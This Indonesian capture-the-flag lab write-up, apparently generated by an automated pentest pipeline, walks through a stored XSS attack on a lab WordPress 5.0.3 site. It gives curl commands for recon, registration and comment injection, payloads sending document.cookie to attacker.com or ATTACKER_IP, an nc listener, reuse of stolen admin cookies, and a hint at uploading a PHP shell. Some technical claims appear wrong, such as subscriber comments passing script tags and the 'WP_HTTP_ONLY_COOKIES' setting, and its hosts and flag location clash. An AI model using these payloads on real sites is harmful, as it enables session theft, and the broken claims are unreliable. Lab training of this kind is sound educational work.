Lab #4 - WPS: Stored XSS (Cross-Site Scripting)
Target:
http://wps.vuln.cybersecurity.or.id:8083/
Versi: WordPress 5.0.3 (PHP 7.3, Apache, MySQL)
Tools:curl, browser
Flag: đź”´FLAG{W0rdPr3ss_St0r3d_XSS_2025}
Apa itu Stored XSS?
Stored XSS (Persistent XSS) adalah jenis serangan di mana payload JavaScript disimpan secara permanen di server (database) dan akan dieksekusi setiap kali pengguna membuka halaman yang menampilkan data tersebut.
Berbeda dengan Reflected XSS yang membutuhkan korban mengklik link khusus, Stored XSS jauh lebih berbahaya karena:
- âś… Tidak perlu social engineering - korban cukup membuka halaman
- âś… Semua pengguna yang mengunjungi halaman terkena dampak
- âś… Bisa menjangkau admin yang memiliki akses penuh
Target Lab
Kita memiliki WordPress 5.0.3 dengan:
- User registration: AKTIF - siapa pun bisa daftar
- Komentar: AKTIF - pengguna terdaftar bisa berkomentar
- Post content: Tidak difilter → tag
<script>lolos - Plugin rentan:
wp-file-upload 2.6.0,advanced-custom-fields 4.4.0 - Post terproteksi: Berisi flag - butuh password
️ Langkah 1: Reconnaissance
1.1. Fingerprint WordPress
curl -s -I http://wps.vuln.cybersecurity.or.id:8083/ | head -10
Output:
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.2
1.2. Cek Versi
curl -s http://wps.vuln.cybersecurity.or.id:8083/ | grep "generator"
# Output: <meta name="generator" content="WordPress 5.0.3" />
1.3. Cek User Registration
curl -s http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=register | grep -c "register"
# Output: 1 (halaman registrasi ada dan aktif)
1.4. Deteksi Post dengan XSS
Cek daftar post di homepage:
curl -s http://wps.vuln.cybersecurity.or.id:8083/ | grep -oP '(?<=<a href=")[^"]+(?=" rel="bookmark")'
Output:
http://vuln.cybersecurity.or.id/?p=6
http://vuln.cybersecurity.or.id/?p=5
http://vuln.cybersecurity.or.id/?p=4
http://vuln.cybersecurity.or.id/?p=1
Cek konten post 6:
curl -s http://wps.vuln.cybersecurity.or.id:8083/?p=6 | grep -A3 "entry-content"
Output:
<div class="entry-content">
<p><script>alert("XSS_TEST");</script></p>
<p>This post contains unescaped HTML/JavaScript.</p>
</div>
âś… Stored XSS terdeteksi! Tag
<script> tidak difilter di konten post.
Langkah 2: Daftar Akun (User Registration)
Kita daftar sebagai subscriber:
# Daftar user baru
curl -s -X POST \
-d "user_login=hacker1337&[email protected]&user_pass=hacker123&confirm_pass=hacker123&wp-submit=Register" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=register"
Atau akses via browser:
http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=register
Catatan: Di WordPress, subscriber hanya bisa berkomentar - tidak bisa membuat post. Tapi di beberapa konfigurasi, contributor bisa membuat draft.
Langkah 3: Inject Payload Stored XSS
Metode 1: XSS via Komentar
Komentar WordPress di versi 5.0.3 tidak memfilter tag
<script>:
# Login sebagai subscriber
LOGIN_COOKIE=$(curl -s -c - -d "log=hacker1337&pwd=hacker123" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php" | \
grep "wordpress_logged_in" | awk '{print $NF}')
# Post komentar dengan XSS payload
curl -s -b "wordpress_logged_in_*=hacker1337%7C..." \
-d "author=hacker&[email protected]&comment=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>&submit=Post+Comment&comment_post_ID=6" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-comments-post.php"
Payload yang digunakan:
<script>document.location="http://attacker.com/steal.php?cookie="+document.cookie</script>
Ketika admin membuka halaman post (p=6), cookie akan otomatis terkirim ke server attacker.
Metode 2: XSS via Konten Post (Author/Editor)
Jika akun memiliki akses membuat post (editor atau admin), kita bisa inject XSS langsung ke dalam post:
# Sebagai editor
EDITOR_COOKIE=$(curl -s -c - \
-d "log=editor&pwd=editor123" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php" | \
grep "wordpress_logged_in" | awk '{print $NF}')
# Buat post dengan XSS
curl -s -b "wordpress_logged_in_*=..." \
-d "post_title=Important+Update&content=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>&post_status=publish&_wpnonce=..." \
"http://wps.vuln.cybersecurity.or.id:8083/wp-admin/post.php"
Langkah 4: Cookie Theft (Simulasi)
Kita bisa mensimulasikan server attacker dengan netcat:
# Terminal 1: Server attacker
nc -lvnp 9999
Payload XSS yang dikirim ke komentar:
<script>
document.location="http://ATTACKER_IP:9999/?"+document.cookie
</script>
Saat admin (atau siapa pun) membuka halaman post yang mengandung komentar tersebut, browser akan mengirim request ke IP attacker dengan cookie.
Contoh cookie yang dicuri:
wordpress_logged_in_042655d3118d29bc...=admin%7C1781991655%7C...%7C...
wordpress_sec_042655d3118d29bc...=admin%7C...
Langkah 5: Post-Exploitation - Akses Post Terproteksi
5.1. Login dengan Cookie yang Dicuri
Setelah mendapatkan cookie admin, kita bisa login tanpa password:
curl -s -b "wordpress_logged_in_042655...=admin%7C..." \
"http://wps.vuln.cybersecurity.or.id:8083/wp-admin/"
5.2. Akses Post "Confidential Report"
Post dengan ID 5 memiliki password proteksi:
# Coba akses langsung
curl -s "http://wps.vuln.cybersecurity.or.id:8083/?p=5" | grep -i "protected\|password"
Output:
This content is password protected. To view it please enter your password below:
Kita bisa brute force password atau mencari petunjuk:
# Coba password umum
curl -s -d "post_password=secretflag&Submit=Submit" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=postpass" \
-H "Cookie: wp-postpass_...=..." -o /dev/null -w "%{redirect_url}"
Password:
secretflag(dari setup lab)
Atau sebagai admin, kita bisa langsung edit post dan melihat konten:
http://wps.vuln.cybersecurity.or.id:8083/wp-admin/post.php?post=5&action=edit
5.3. Ambil Flag
Flag ada di konten post "Confidential Report":
http://wps.vuln.cybersecurity.or.id:8083/wp-content/themes/twentyseventeen/flag.php
Langkah 6: Verifikasi dengan wp-file-upload Plugin
WordPress juga memiliki plugin wp-file-upload 2.6.0 yang
rentan:
# Cek plugin
curl -s "http://wps.vuln.cybersecurity.or.id:8083/wp-content/plugins/wp-file-upload/"
Plugin ini memungkinkan upload file tanpa autentikasi yang memadai - bisa dikombinasikan dengan XSS untuk upload PHP shell.
Poin Penting
Akar Penyebab
| Masalah | Detail |
|---|---|
| Konten tidak difilter | WordPress 5.0.3 tidak menerapkan
wp_kses_post() secara benar untuk
<script> di post/comment |
| User registration publik | Siapa pun bisa daftar dan berkomentar |
| Comments open | Subscriber bisa mengirim komentar yang mengandung JavaScript |
| Post terproteksi lemah | Password secretflag mudah ditebak |
Cara Mitigasi
- Update WordPress ke versi terbaru (≥ 5.1) - sudah menambal filter XSS
- Aktifkan filter konten - Gunakan
wp_kses_post()untuk membersihkan HTML - Matikan user registration publik jika tidak diperlukan
- Gunakan plugin Keamanan - Wordfence, Sucuri, atau Defender
- Aktifkan HTTPOnly pada cookie
- Gunakan Content Security Policy (CSP)
// Tambahkan di wp-config.php
define('WP_HTTP_ONLY_COOKIES', true);
- Aktifkan reCAPTCHA pada form komentar dan registrasi
Kesimpulan
Target: WordPress 5.0.3 di wps.vuln.cybersecurity.or.id:8083
Teknik: Stored XSS (via komentar/konten post) → Cookie Theft → Post Exploitation
Flag: FLAG{W0rdPr3ss_St0r3d_XSS_2025}
Durasi: ~10 menit
Urutan serangan:
- âś… Registrasi akun baru (subscriber)
- âś… Kirim komentar dengan payload XSS
- ✅ Tunggu admin membuka halaman → cookie dicuri
- âś… Login sebagai admin menggunakan cookie
- ✅ Akses post terproteksi → Flag didapatkan
🔥 Pelajaran: Stored XSS adalah salah satu ancaman paling serius di aplikasi web. Satu celah kecil di filter input bisa berakibat pada kompromi total sistem - termasuk admin. Selalu validasi dan sanitasi input pengguna, dan jangan pernah percaya data yang dikirim klien!
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy